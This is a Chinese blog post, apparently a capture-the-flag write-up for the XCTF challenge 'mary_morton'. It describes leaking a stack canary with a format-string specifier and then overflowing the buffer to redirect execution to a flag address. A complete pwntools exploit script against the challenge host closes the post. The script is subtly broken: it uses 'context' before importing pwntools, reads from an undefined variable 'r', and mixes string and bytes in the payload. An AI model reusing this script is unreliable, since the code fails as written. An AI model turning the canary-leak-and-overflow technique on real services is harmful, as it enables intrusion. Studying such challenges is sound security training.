XCTF攻防世界高手mary_morton

格式化字符串泄露canary,栈溢出
从函数执行就可以看出,一个格式化字符串漏洞,一个栈溢出漏洞
运行
栈溢出
格式字符串漏洞
checksec了一下有canary的保护,开启了canary,就不能直接利用栈溢出覆盖返回地址,通过通过格式化字符串漏洞泄露canary的值,然后再进行栈溢出的覆盖

在这里插入图片描述
buf
在这里插入图片描述buf在rbp-90h,v2在rbp-8h,canary与我们输入参数的偏移为0x90 - 8 = 0x88所以,覆盖返回地址的话,需要0x90-0x8=0x88覆盖局部变量,然后放上canary的值,在覆盖ebp,最后加上system的返回地址就可以
offect可以得到偏移为6
buf和v2本来的差距就有0x90-8h=0x88 0x88/0x8=0x11(十进制17)往后找17+6=23个地址上即存canary的值
这样的话,我们就可以写exp了

#!/usr/bin/env python
context.log_level='debug'
from pwn import *
p=remote('111.198.29.45',49184)

p.sendlineafter('3. Exit the battle','2')
#先进入格式化函数泄漏cannary
p.sendline('%23$p')
#泄漏cannary
p.recvuntil('0x')
canary=int(r.recv(16),16)
print (canary)

flag_addr=0x4008da
payload='a'*0x88+p64(canary)+'a'*8+p64(flag_addr)
p.sendlineafter('3. Exit the battle','1')
p.sendline(payload)
p.interactive()
发布了6 篇原创文章 · 获赞 0 · 访问量 175

猜你喜欢

转载自blog.csdn.net/weixin_45948183/article/details/105079563